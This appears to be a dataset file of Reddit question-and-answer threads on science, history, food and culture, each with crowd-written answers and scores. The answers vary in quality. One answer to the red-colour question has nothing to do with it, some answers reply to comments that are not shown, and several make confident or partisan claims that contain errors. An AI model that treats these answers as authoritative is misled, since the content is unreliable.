{"q_id": "9bzm2k", "title": "why is red the \"look at me color\"?", "selftext": " & #x200B;", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9bzm2k/eli5_why_is_red_the_look_at_me_color/", "answers": {"a_id": ["e56ztkn", "e5713my", "e576rzg"], "score": [4, 6, 5], "text": ["It was, most likely, put there by a bird. It could have been dropped, but more than likely, it was a worm egg that got stuck to a bird and then dropped into the gutter and hatched. ", "It's thought to be related to the way [certain body-parts](_URL_0_) of female primates swell up red to visually indicate fertility.", "Blood is red, and a lot of venomous creatures are red. It also is the opposite of green, the most common color in nature. \n\nAs a result, evolution has basically programmed us to say \"woah red? That's not supposed to be there. Why is red there?\" \n\nStop signs and McDonald's hijack this effect. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/File:Baboon_buttocks.jpg"], []]}
{"q_id": "1u79rq", "title": "What is the point of the Axon Hillock in a neuron?", "selftext": "My understanding of how a neuron works is that the body and the dendrites (receptors) listen for the signal (-55mV), and when the signal is \"heard\" by the neuron, it starts firing. \n\nI thought it doesn't matter where in the neuron the signal is heard, dendrites or body, but once it's heard the cascade of firing (flood of sodium) starts. \n\nUntil I learned about the Axon Hillock. \n\n[Wiki](_URL_0_) says that it is the actual point where the \"firing\" starts, and it decides if the signal is heard or not, and triggers the unstoppable axon to fire. \n\nDoes this mean that there isn't a chain reaction of sodium gates (the firing part) that open in the cell body or dendrites? That this ONLY happens in the axon after the Axon Hillock decides that it's heard enough signal to fire? \n\n**tldr: Does only the Axon Hillock decide when a neuron fires?**\n\nedit: Thanks for all the great replies! You all fully answered my questions. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1u79rq/what_is_the_point_of_the_axon_hillock_in_a_neuron/", "answers": {"a_id": ["cefbzoz", "cefc7ix", "cefzb7t", "ceg0r72"], "score": [3, 3, 2, 2], "text": ["Excellent question, I can understand where you would be confused. \nTo answer your tl;dr question bluntly - Yes, more or less. Now to explain:\n\nTypically, all your APs that fire will originate at the Axon Hillock because that is where the summation of input occurs. Note that the action potential itself is ONLY propagated through the axon, never in the cell body. Once it reaches the cell body, it disperses throughout the cell body (loses voltage). The axon hillock is simply where depolarization can accumulate in order to fire the action potential; the cell body itself is too large to depolarize entirely. \n\nSo yes, the action potential itself will only propagate throughout the axon, originating from the axon hillock. An exception to this would be axo-axonal connections, but those are typically inhibitory as opposed to stimulatory. \n\nIf you want further clarification please ask.\n\nSource: Neurobiology TA ", "This isn't something I had thought much about.\n\nI guess the key thing to understand is the events leading up to depolarisation of a neuron. The cell body of the neuron may synapses with one or several presynaptic neurons. When those presynaptic neurons depolarise they release neurotransmitter into the synaptic cleft. The neurotransmitter binds to ligand-gated cation channels, as you know.\n\nNow - different to what you have been taught - this does not cause immediate depolarisation of the postsynaptic neuron. Not at all. There are several variable little steps that occur. A ligand-gated cation channel opens and creates a mini end plate potential (MEPP)  (due to the cation flow across cell membrane). This allows adjacent voltage-gated cation channels to open creating a zone of depolarisation. This is a small potential and could be inhibitory (IPSP) or excitatory (EPSP) depending upon whether it was triggered by inhibitory (eg. GABA) or excitatory (eg. glutamate) presynaptic neuron.\n\nFor the neuron to depolarise these small IPSP and EPSP need to add up to a sufficient level to trigger generalised opening of a large number of voltage gated cation channels. The Axon Hillock is the area (where is was thought) there is the greatest number of these channels. If the postsynaptic depolarisation is sufficient to depolarise the membrane in the area of the Axon Hillock above a trigger threshold then all the voltage gated channels at the Hillock can open. The number of channels at the Axon Hillock is such that the opening of them all is sufficient to generate a potential of sufficient size that it can travel down the axon either by saltatory conduction or non-saltatory conduction. \n\nMaybe that is better put by saying , the Axon Hillock is the area where there is summation of IPSPs and EPSPs, and  triggering of mass depolarisation, leading to generation of an action potential. \n\nPS: To be pedantic, I think the actual trigger zone is nowadays considered to be just distal to the axon hillock. I'm not sure if this level of detail is required. I always thought it more important to understand the various channels and the potentials generated and summation of those.", "It's complicated.\n\nAction potentials reach synapses and then cause the emission of neurotransmitters across the synaptic cleft. Depending on the nature of the neurotransmitter, when it meets its receptor on the postsynaptic neuron, it can cause either an excitatory or an inhibitory postsynaptic potential (EPSP or IPSP). So far so good. \n\nNote that axons from one cell can synapse on dendrites, axons, or even somata (cell bodies) of other neurons. Or even on itself.\n\nWhen a cell has a dense arbor of dendrites, each local part will receive its various EPSPs and IPSPs. Dendrites are much less likely to cause APs and usually propagate voltage changes *electrotonically*--as a simple wave that peters out with distance.\n\nThe axon hillock, because of its configuration of voltage-gated ion channels, is most sensitive to causing APs. EPSPs from dendrites, the soma, the hillock, if they can all push the membrane voltage above threshold together, will ignite a spike. The AP typically runs down the axon towards its synapses. But it can also move backward through the soma and into the dendrites, where changes in membrane voltage and release of neurotransmitters can induce changes in the *strength* of the various synapses, making it easier or harder for their various effects to be felt.\n", "The Sinaur animation found [here](_URL_0_) provides an (admittedly cartoonish) illustration that may help clear things up on this point. \n\nPart of the confusion (including in some of the comments/follow-up questions below) seems to be related to \n\n1) mixing up/not distinguishing between receptors and ion channels; \n2) mixing up/not distinguishing between different types of receptors;\n3) mixing up/not distinguishing between different types of ion channels\n\nThe receptors (pre- or post-synaptic) bind an endogenous ligand and then do *something*, depending on the receptor type. Below you talk about the receptor releasing a protein. That's a metabotropic receptor. Perhaps counterintuitively (again, based on some things below in the thread), this secondary messenger action is much slower and is not the basis for the action potential. In contrast, some receptors control an ion channel. These ionotropic receptors are fast acting and the influx or efflux of ions that results from opening the ion channels is responsible for **local** changes in the membrane potential. \n\nSome ion channels are ligand-gated (i.e., open when receptor complex is bound to appropriate ligand). Others are voltage-gated (i.e., open/close as a function of **local** membrane potential). Charge flows along the surface of the membrane as you might expect--but it is important not to confuse these small, local, **graded** potentials with the action potential. If it helps, you can think of it as the difference between digital and analog signals. \n\nAs pointed out by [/u/SandyBaller](_URL_1_), the entire neuron does not reverse polarity simulataneously when a receptor is activated. BUT the membrane portion surrounding the soma **does** still have local depolarizations that diffuse across its surface. Perturbations in the **extremely** local relative ion concentrations combine with the voltage-gated ion channels, resulting in a potential that flows along the membrane in all directions away from the initial site These potentials are small deflections on their own. It's worth noting here that we commonly talk about a neuron's resting potential, but in reality the membrane is essentially undergoing tiny fluctuations in multiple locations at any given time. That brings us to summation and the integration zone. \n\nThere are two types of summation: spatial and temporal. When multiple receptors receive a signal at the same time, the resulting local depolarizations co-occur and, as a result, produce a greater net change in membrane potential in *some* areas of the membrane (that being the portion where the flows from the n > =2 separate depolarizations run into each other). At this point it's important to note what ion channels we're talking about. Every local depolarizations doesn't trigger an action potential because until the membrane potential reaches a critical threshold (say ~-45mv) potassium and sodium are flowing in opposite directions. The influx of sodium depolarizes the local area--but potassium is immediately pushed out (electrostatic pressure). The efflux of potassium is greater (higher permeability), so the charge drops back to ~baseline almost immediately. When the local potential hits threshold, sodium channels in the region open completely and the flow of potassium isn't great enough to preserve/restore the potential. That resulting flip in polarity propagates down the axon via (loosely) the chain reaction of sodium ion channels you mentioned inittially. \n\ntl;dr: Not exactly. The whole (pre-axonic) membrane contributes input continuously until the situation in the integration zone reaches critical mass. \n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Axon_hillock"], "answers_urls": [[], [], [], ["http://sites.sinauer.com/neuroscience5e/animations05.02.html", "http://www.reddit.com/u/SandyBaller"]]}
{"q_id": "3fxkuj", "title": "why do the eyes of characters created with cg look so dead or lifeless?", "selftext": "Landscapes, skin and even hair are incredibly lifelike and realistic. In traditional media, photorealism can be pretty damn accurate to my novice's eye. What's missing or added? \n\nExamples: digital Zemeckis films, video game trailers, etc.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3fxkuj/eli5_why_do_the_eyes_of_characters_created_with/", "answers": {"a_id": ["ctsw22w"], "score": [2], "text": ["Eyes are really hard to do. Most people think the white part of our eyes is, well, white. But it's not. It's actually translucent. \n\nGetting juuust the right amount of translucent is, apparently, extremely challenging. \n\nMilk has the exact same problem. That's why CGI milk looks a bit off, but there's no [Uncanny Valley](_URL_0_) effect for milk. This is the second part of of the problem: we are *very* sensitive to people looking slightly off. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Uncanny_valley"]]}
{"q_id": "5hsuu0", "title": "why do people make excuses for criminals ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5hsuu0/eli5_why_do_people_make_excuses_for_criminals/", "answers": {"a_id": ["db2olch", "db2ores", "db2p8hx", "db2q2fm", "db2qcja"], "score": [3, 3, 2, 3, 2], "text": ["Depends on what the crime is. Just because something is against the law doesn't mean it's right or wrong. Slavery was once legal, did that make it right? ", "Because the law isnt always based on morale. \n\nViolent crimes there should be no excuse.\n\n\"Criminals\" who get locked up for things like possession of weed aka a totally harmless yet extremely beneficial plant is absolutely absurd.\n\n\nAlso, the world isnt black and white. A lot more goes into peoples motivations than you think. Having empathy to understand WHY someone would do something affects that.\n\nExample: stealing. Stealing is wrong. Nobody should do it. Uts basic human decency and respect for things that are not yours. But take lets say, a dirt poor homeless family and a man who steals food to feed his starving children. Can you blame him? Did he break the law? Of course. But would you not have done the same?", "Many people have empathy in that they recognize that there isn't much of a difference between a criminal and themselves. If I were starving to death, I would steal food, or whatever other resources are necessary, to feed my family.\n\nNext, criminality is somewhat arbitrary. It's often based on the opinions of the rich and powerful. Slavery was legal, and helping a runaway slave was illegal for hundreds of years. In Saudi Arabia, it's a criminal act to criticize Islam. It's illegal to murder someone, but if you are the head of a country, you can declare people you don't like to be criminals and start a war against them. Many people are comfortable killing enemy soldiers, even though they were just regular people until a leader decided to start a war. Stealing is a crime because rich, powerful people don't like having their stuff taken. But allowing someone to starve to death is not a crime. Trespassing on private property is illegal, but keeping an empty house when families are freezing outdoors is perfectly legal. Depending on who is in power, you can create a society with different standards of legality.\n\nFinally, crime is very nuanced. There are a lot of factors that determine whether someone is a guilty person or not. Sometimes people who commit crimes don't even know they are doing something wrong. For example, many towns make it illegal for homeless people to sleep in a park. But it's not like they have a lot of other options. Some people were never taught what is right and wrong, or they were taught a different standard. Morality is not objective. It's a set of rules that people agree to, but not everyone agrees to the same set.", "Because people disagree with your definition of crime, and because they may emphatize with the perpetrator more than the victim, for various reasons. Ultimately it's not rational considerations and law but,emotions and prejudices that drive people.\n\nYou gave thieves as an example. Why is Robin Hood supposed to be the good guy? Because his targets are unsympathetic fat-cats! He engaged in class warfare, hence everything he did to people more powerful than him was, in the eyes of many, perfectly justified. And so on. Tribalism and perceived persecution trump reality; it's always *those people's* fault. Almost every martyr celebrated by Black Lives Matter had a lengthy criminal record and, at the time of being shot, either had a gun or was trying to snatch one from the police; yet they turn it into a \"police are out to hunt black people\" narrative and agitate race riots because of that.", "I've noticed that several of your responses had to deal with people ordinary people being robbed. What was stolen from you? You are very angry about this.\n\nAnd why do poor, ordinary people steal from poor, ordinary people? Think crabs in a bucket."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "9lt9hi", "title": "\"Good enough for government work.\" When did the government get a reputation for being inefficient?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9lt9hi/good_enough_for_government_work_when_did_the/", "answers": {"a_id": ["e7aghe6"], "score": [7], "text": ["This phrase is Canadian in origin, starting in the 1900s (as in 1900-1910) as 'close enough for government work'. There it meant it was up to the standards the government used for purchasing, which usually meant higher quality than average. The phrase spread to the United States where it was popularized during World War 2, either by Hollywood or American manufacturers (or perhaps both). In that case, the phrase represented not an inherent lack of quality but that the bureaucrats they were working for could not evaluate the work effectively and often gave specifications that were, by the standards of the industry, strange or incompetent.\n\nThe phrase became fully negative in the 1960s, perhaps a little earlier. But there it still only referred to the interaction of the government and the private sector. The phrase exploded in popularity with the sixty's anti-government sentiment and became a symbol of dissatisfaction with the government at that time.\n\nFrom **A History of the Canadian Parliament** (the phrase's first appearance is in Parliamentary records on June 8th, 1906) and **The Project of War: American Culture During World War 2**."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4vwoep", "title": "aromatherapy", "selftext": "How effective is it? Are some methods more effective than others?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4vwoep/eli5_aromatherapy/", "answers": {"a_id": ["d623ple", "d623y9f", "d6254k4", "d627h24", "d628xql", "d629dsb", "d62asqi"], "score": [22, 56, 5, 10, 2, 47, 4], "text": ["It is not effective, well no more than a placebo. There has been no peer reviewed evidence suggesting its efficacy. That being said the placebo effect can be very powerful, but unfortunately there is no therapeutic effects from the oils themselves. ", "It's all fake, that being said, if aromatherapy helps you relax and you're not spending an arm and a leg, go for it. \n\nEdit: \n\nFor people who would like to learn a bit more a couple of good podcasts about it.\n\n[Sawbones](_URL_1_) did a spectacular episode, Sydnee is a doctor who can look at evidence with a trained eye, and her husband makes it funny.\n\n[Oh No Ross and Carrie]( _URL_0_) did an episode on essential oils that I like quite a bit. Neither are doctors or scientists but they are careful and intelligent and willing to consider contrary opinions.", "My mother used and sold these products for years since I was a child. I have never ever seen a single of them work/cure a disease but:\ntopical Teatree oil cured my grandfather's nail fungus. \nMy mother would use it to \"sanitize\" small cuts, not sure if that works but never got infected.\n\nthere was also this other thing that smelled like peppermint (it was a mix of many oils) that would unclog your nose almost instantly. ", "It's bullshit, just like homeopathy, crystal therapy, aura reading, and all that other esoteric bunk. When in doubt, check quackwatch:\n\n_URL_0_", "Eucalyptus oil works for clearing a clogged nose at night which is great with small kids (not right when they get a cold but a day or two later when mucus thickens up and for some reason kids can't breath through thier mouth when they sleep).  No scientific study but four kids later, it works.  Humidifier is great too.\n\nI don't believe the rest.  Maybe nice smells make you happier or able to endure a headache better.  But I don't believe that it can cure a cold or something like that.", "You know the way smelling someone's fart is unpleasant? It's extremely unlikely that any of those fart molecules will do you any harm, but it certainly has a psychological effect.\n\nAromatherapy is similar in that pleasant smells - eg flowery stuff - can bring about a sense of pleasure or make relaxation easier.\n\nThe sense of smell has a surprisingly strong connection with memories, so there's some weird and complex connections going on between the nose and the brain. Makes sense that certain smells may trigger positive psychological effects, and changes in your psychological state can get passed on to your physiological state, to an extent.\n\nI'd be extremely dubious of any claims that smells can have a direct physiological effect though (with the exception that menthol / eucalyptus does have an effect on congestion).\n\nI am not an expert on this matter, and I find new-agey things pretty dodgy. But I do stop to smell a rose, if I see one; it's nice. So take it at face value. If it's a nice smell, go with it", "It might be fake and all placebo... But scents do have an impact on your mood... \n\nyou burn candles that are musky or Amber scented perhaps to set the mood in the bedroom with light and smell \n\nMenthol, peppermint, eucalyptus are in vapor rubs because they help open the air passages \n\nCitrus is uplifting and smells clean and refreshing \n\nVanilla, Carmel, coconut, ect can be very cozy and calming \n\nIt's not so much that they work 100% of the time and it's scientific or you believe it or whatever , but, scent does have an impact on your mood... Remember when you burned your pizza in the oven? That smell sure was annoying.. Or that old person smelled like they pooped their pants? Scent can have a negative impact, why can't it be positive too?  \n\nScent is tied to memories.  That's why they some women have a fragrance they wear when they get married... That scent will always remind them of their big day and the happiness, excitement, and love.  \n\nSo while I'm not sold on this smell will instantly remove all of your stress, remove anxiety, uplift you or whatever I do think there is some psychological impact that smell has :) \n\nOf note: aromatherapy oils are generally not as strongly scented as the new hip essential oils.  I think the more pure essential oils will have more an impact on your senses than aromatherapy oils...\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://ohnopodcast.com/investigations/2015/8/1/ross-and-carrie-cure-clubfoot-essential-oils-edition", "http://www.maximumfun.org/sawbones/sawbones-aromatherapy"], [], ["http://www.quackwatch.com/01QuackeryRelatedTopics/aroma.html"], [], [], []]}
{"q_id": "19eru7", "title": "What causes rouge planets to become rouge in the first place?", "selftext": "I assume that the star dying/going nova is not an option (but correct me if i am wrong) - so curious as to how it may occur?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19eru7/what_causes_rouge_planets_to_become_rouge_in_the/", "answers": {"a_id": ["c8ncy53", "c8ndzet"], "score": [3, 12], "text": ["The leading theory is that they were ejected during formation of planetary systems, but we have no observational data to confirm this.", "I'm going to assume you mean ROGUE planets, and that you're not asking why some of them are red."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2lv9yl", "title": "why those students were killed in mexico? purposes?", "selftext": "I can't figure out why all this is happening in Mexico around those students missing. Can you explain that to me, excuse my lack of knowledge.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2lv9yl/eli5_why_those_students_were_killed_in_mexico/", "answers": {"a_id": ["clygm50", "clykgbf", "clz7mde"], "score": [2, 54, 7], "text": ["Was it confirmed that they are dead? Last I heard they were missing. ", "At this point it is presumed the students, who were activists, were traveling to protest at a meeting where the mayor's wife was to give a speech. So, he had his cops stop their bus and arrest them. They were then turned over to the local Drug Lord for disposition. The rest, as they say, is history.", "There've been a lot of answers regarding what happened to the students and why. And most of them are correct, but I thought I'd share a little more context regarding the background of the students. They were studying to become teachers in what is known in Mexico as a *Escuela Normal*(a school for future teachers) hence the name that has been given to them *normalistas* roughly translated into aspiring teachers. \n\nThis next paragraphs may piss someone off if taken out of context. Anyways these guys studied in a Rural *Normal* which in Mexico, specially southern Mexico, they are a \"breeding\" place for extreme left-wing activists, some of them peaceful, some of them violent. Evidence: [photo 1](_URL_1_) [photo 2](_URL_0_) This specific *Normal* in Ayotzinapa wasn't the exception, with murals of Lenin, Che, Marx, Engels and Mexican guerrilla figures of the 70s.\n\nAs the majority of extreme left wing activists in Mexico they are very rowdy, and sometimes become violent. Which pisses of the authorities, especially extreme authoritarian ones like in this town, so they pissed off the mayor's wife. and the rest has been explained to you already. So basing myself on previous clashes between Mexican police and rowdy activists, when the students are detained, the police gets all \"Oh so who's the bitch now?\", \"You're not so tough now are you?\" \"You'll get what you deserve\" Again, like a truly authoritarian regime.\n\nWhat happened in Ayotzinapa was a pretty fucked up event, that borders on genocide. But want to know one of the reasons they were protesting? For decades, in Mexico teacher jobs or *plazas* have been able to be inherited, as in \n\n\"my mom was a teacher, I'll be a teacher if I want to even if I'm the dumbest person on the planet who doesn't know what 2+2 is. And there is nothing you can do about it.\"\n\n\"I just graduated as a teacher, now give me a fucking job!! I don't care that the whole teaching system is oversaturated, I want my fucking job or I'll start breaking shit\" \n\n\"Hell no you're not going to test if I am a capable teacher or not!\" (a few years back all teachers in Mexico were forced to take a test. Those that passed the test was less than half, even though the minimum passing grade was... THREE out of fucking TEN!! 30%!!!)\n\nRecent educational bills tried to change this but there were massive protests started by teachers unions from the states of Oaxaca and Guerrero (the state where the massacre took place) Coincidently (and not surprising), those two states always get the lowest scores in standardized student tests.\n\nEDIT: tl;dr. The reason the students were going to protest a speech by the mayor's wife is a pretty fucking dumb and mediocre one. They wanted to keep ridiculous privileges that have been given to teachers even if they don't deserve it. And no, however stupid their reasons were, does not justify the atrocity that the authorities made.\n\nEDIT: spelling"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://assets-news.vice.com/images/2014/10/06/mexico-iguala-guerrero-massacre-student-update-body-image-1412628978.jpg?resize=1000:*", "http://www.telesurtv.net/export/sites/telesur/img/multimedia/2014/10/31/mensajesenlasescuelasnormalesrurales2.jpg_1496576422.jpg"]]}
{"q_id": "49xx0l", "title": "where does \"do, ray, me, fa, so, la, ti, da\" come from when you hear singers practice scales?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49xx0l/eli5_where_does_do_ray_me_fa_so_la_ti_da_come/", "answers": {"a_id": ["d0vs69j", "d0vsaco", "d0w53ae", "d0wamoe", "d0we46h"], "score": [14, 45, 10, 8, 2], "text": ["There are some alternative theories, but the most common one is that it was from a Latin Hymn where the syllables corresponded with the appropriate notes: \n\n >  **Ut** queant lax\u012bs    **re**son\u0101re f\u012bbr\u012bs\n\n >  **M\u012b**ra gest\u00f5rum    **fa**mul\u012b tu\u00f5rum,\n\n >  **Sol**ve poll\u016bt\u012b    **la**bi\u012b re\u0101tum,\n\n >  Sancte I\u00f5hann\u0113s.\n\nThen overtime the various syllables were tweaked to reach the 7 tone notes we know today.\n\nEdit: Ut was changed to Do because it has a more open sound. Then the 7th tone was added using the initials of the hymn \"SI\" but was later changed to \"TI\" to differentiate it from \"Sol\" when writing as a single letter.\n\nOh and an English paraphrase of the hymn:\n\n >  **Do** let our voices **re**sonate most purely,\n\n >  **mi**racles telling, **fa**r greater than many;\n\n >  **so** let our tongues be **la**vish in your praises,\n\n >  **S**aint **J**ohn the Baptist", "The use of a seven-note diatonic musical scale is ancient, though originally it was played in descending order.\n\nIn the eleventh century, the music theoristGuido of Arezzo\u00a0developed a six-note ascending scale that went as follows:\u00a0ut, re, mi, fa, sol, la, and named the\u00a0Aretinian syllables\u00a0after him. A seventh note, \"si\" was added shortly after.The names were taken from the first verse of the Latin\u00a0hymn\u00a0Ut queant laxis, where the syllables fall on their corresponding\u00a0scale degree.\nUt\" was changed in the 1600s in Italy to the open syllable\u00a0Do,\u00a0at the suggestion of the musicologue\u00a0Giovanni Battista Doni, and Si (from the initials for \"Sancte Iohannes\") was added to complete the diatonic scale. In Anglophone\u00a0countries, \"si\" was changed to \"ti\" by\u00a0Sarah Glover\u00a0in the nineteenth century so that every syllable might\u00a0begin with a different letter.\u00a0\"Ti\" is used in\u00a0tonic sol-fa\u00a0and in the song \"Do-Re-Mi\".\n\nSource: Wikipedia. \nThanks OP for asking the question, I've learnt something new today as well!\n", "The question has been very well answered, but I would also like to add that, in Romance languages, we use this system not only in solfege (or solfa), but as the actual names of the notes on the scale instead of the Germanic letter system.\n\nC = do (or ut)\n\nD = r\u00e9/re\n\nE = mi\n\nF = fa\n\nG = sol\n\nA = la\n\nB = si\n\nSo, for example, in French, Bach's *Mass in B minor* is *la Messe en si mineur*", "Just a little note. It's \"do, re, mi, fa, sol, la, ti, do\"\n\nThe last \"do\" is simply an octave higher than where you began. :)", "No one referenced *The Sound of Music*?  Y'know, \"Doe, a deer, a female deer...\" That's a place to start."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "cubawf", "title": "can critters with exoskeletons (eg spiders, crabs, insects) feel things touching the exoskeleton?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cubawf/eli5_can_critters_with_exoskeletons_eg_spiders/", "answers": {"a_id": ["exsog2i", "ext6if5", "ext8hja", "ext9mo7", "extad1w", "extcrq8", "extdydy", "extl79f", "extotd1", "extshje", "extywm2", "exu49nk"], "score": [1896, 378, 73, 21, 51, 3, 3, 7, 3, 2, 2, 2], "text": ["Yes and no. No, because the exoskeleton itself does not have nerve endings. Yes, because the exoskeleton will push against the nerve endings in the tissue beneath the exoskeleton. If you touch the exoskeleton lightly, they won't feel it, but if you press hard, they will feel it.\n\nOn another note; some critters with exoskeleton have hairs protrude the exoskeleton which can pick up the pressure.", "Just try it out on your own exoskeleton! Your teeth! They do not have any kind of sense on the outside. But still thru pressure on the underlying tissue you still have very fine feedback.\n\nSame with your hair all over your body. In case of humans they mainly exist for signaling you about insects. So the root part is very sensitive at signaling when the hair moves.", "Tarantulas, and probably many other spiders have a ton of hair on their exoskeletons which are their main sensory organ. They can feel the sound and vibrations very well, as well as touches.\n\n & #x200B;\n\nRegarding their (spiders) reproductive methods, they are unlike anything you might imagine. A male spider will create a web, drop his sperm onto it and put it in their pedipalps. Then, he'll seek a female and try to find out if she's receptive. If she is, she'll allow him to put his sperm into her spermatheca, which is like a small pocket in her abdomen. Then, when she lays eggs, she'll get it out of the spermatheca and fertilize them before wrapping them up. \n\n & #x200B;\n\nNone of this allows for a simple rape. Male needs to get into a very vulnerable position to pass on his sperm, basically right under her fangs.", " >  \u201ccan he just sneak up onto her unknown to avoid getting eaten?\u201d Because I feel like a lot of them get eaten...\n\nOddly this can be advantageous for the male's reproductive success. \n\nBasically, once he gets it on with a lady spider, he has to go find another lady spider. If he will be unable to do so, it's better for his genes if his baby-momma eats him. If he's going to be unable to pass on his genes, it's better that the mother havre more energy to produce eggs and defend them. You certainly wouldn't want momma spider to starve.", "When female spiders eat male spiders after mating, it is to provide additional nutrition to the eggs, which understandably takes a toll on the momma spider. It's in the male spider's interest to get eaten; Life does not have the biological imperative to survive, but to reproduce.\n\nThat being said, insects, spiders, and other relatively simple life forms don't really have thoughts or personalities in the way that, say, a dog or a cat might. They are basically tiny little meat robots that do as their genetic information tells them to do. For example, a spider can not be \"trained\"; it is completely guided by instinct.", "Can you feel it when you touch things with your fingernails?", "It would be like pushing against your fingernail. You can feel it even if the nail doesn\u2019t", "The same way your fingernail has no nerves in the mail itself, the surrounding and underlying tissue does. Even a light touch on your nail is easily felt. The same goes for an exoskeleton.", "Very ELI5 answer: Take any elongated item, like a needle, a pencil or such. Scratch the surface of your fingernail. You're feeling it just the same as these creatures do.", "Imagine you have a callous around your entire body. You feel what it's pressing on, but not the thing itself.", "Some wpiders have stupidly ludicrous sensitivity thanks to hairs. Like feeling the vibrations in the air from a fly across the room crazy.", "Insects have little hair like structures called bristles at certain positions on their exoskeleton. These bristles are typically associated with a single sensory neuron. \n\nThis article provides a detailed explanation: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5120761/"]]}
{"q_id": "3xnjba", "title": "why does white/brown rice take 45 minutes to cook, but prebagged/seasoned rice like uncle bens only takes a few minutes?", "selftext": "Silly question, but I love white and brown rice and typically buy a huge bag in bulk. Whenever I get a craving for ricey deliciousness, I scoop it out, add water and stand by the stove praying it won't burn for 30-45 minutes. \n\nToday however, is taco night. Who has time to waste waiting around for rice when there are tacos begging to be consumed? Why does the preseasoned/packaged taco rice (uncle bens/minute rice/knoors) only take 1-7 minutes to cook when it takes triple the time to make plain ole rice on the stovetop?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xnjba/eli5_why_does_whitebrown_rice_take_45_minutes_to/", "answers": {"a_id": ["cy66bx2", "cy6d5jj"], "score": [3, 2], "text": ["the prebagged seasoned rice is fully or partially cooked. That means you are mostly just reheating it and doing the final bit of cooking. ", "45 minutes to cook rice? I think you need to look up the \"absorption method\". The short version: measure the rice, wash it, add about 1-1/2 times the volume of water (e.g. 2 cups rice, 3 cups water). Bring to the boil, then close the pot and lower the heat so it barely simmers. Do not open the pot for 15 mins or until you can hear no more boiling at all. Then you can fluff up the rice, and leave it (off the heat) for a few minutes before serving. \n\nThis works for brown rice too, but with a water:rice ratio of around 2:1, and if it's raw brown rice (not \"easy cook\"), soak it before cooking for at least 15 mins first, up to an hour. Japanese style short grain rice is lovely with this method, if you add mirin (rice vinegar with sugar and salt) at the \"fluff\" stage - that restored moisture as well as flavour to the rice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9tujxn", "title": "Are the elements distributed evenly throughout the universe, in the same relative proportions we find on earth?", "selftext": "Are there planets made of solid gold, of deserts of diamond 'sand'? Is there likely to be any elements that are unknown to us?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9tujxn/are_the_elements_distributed_evenly_throughout/", "answers": {"a_id": ["e8zahmi", "e8zqwdn"], "score": [29, 5], "text": ["No, they aren't evenly distributed! The reason is that elements have to be created inside of stars - in particular, in massive stars that will age and die quickly and spread their innards around to the rest of the stars forming nearby. Every element heavier than helium was generated inside of a star. Elements heavier than helium are referred to as \"metals\" by astronomers for this reason, and the content of metals in a star is called its \"metallicity\". \n\nThe metallicity of a star when it's born depends on the content of the cloud that created it - stars that were born a long time ago did not have as much time to absorb metals from dying stars as stars formed more recently have, so they have lower metallicities. Stars in regions with less star formation also have lower metallicities. Some whole galaxies have average metallicities only 1/10 of the Sun's. Some new stars in our galaxy have more metals in them than the original solar nebula that birthed the Sun and the planets did. So the amount of \"metals\" like oxygen and carbon can vary by a few orders of magnitude from star to star, depending upon it's age and history.\n\nThere are only a few processes that generate heavy elements like gold, though, which makes it rare compared to other elements like iron. There is no way for any natural process that I can conceive of to create a planet with only gold and no other elements, which are more common and have many similar properties.\n\nThere are elements that could exist that we haven't found on Earth, yes, though they are generally unstable and they would not last long before radioactive decay turned them into something else. There is an \"island of stability\" of heavy elements predicted to exist, but no known natural processes are likely to create them. Perhaps we could in a lab.\n\n[Adding an edit because I realized I didn't address the \"relative proportions\" part: There are only a few processes that make elements, and each process makes elements in particular proportions. The only proportions of elements you will find are a result of adding those processes together.]", "Overall, the proportion of elements in the Universe is much closer to that in the Sun or Jupiter. Mostly hydrogen and helium, traces of heavier elements. But you're asking about planets, and terrestrial planets will tend to have similar proportions of elements as Earth. In general they will have a dense core of mostly iron/nickel surrounded by a mantle/crust of mostly silicates. Depending on the carbon/oxygen ratio of the cloud they formed from, [some rocky planets may have their outer layers mostly made of carbon and carbon compounds instead of silicates](_URL_0_). I would not be surprised to see a desert of diamond sand on such a planet.\n\nA planet of solid gold, or even very abundant in gold, is unlikely however. Gold just isn't a very common element.\n\nThere are likely elements unknown to us, but they won't be that interesting. Like all the heaviest elements, the ones above #118 will be very unstable and radioactive, decaying almost instantly. That's why they aren't found in nature."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Carbon_planet"]]}
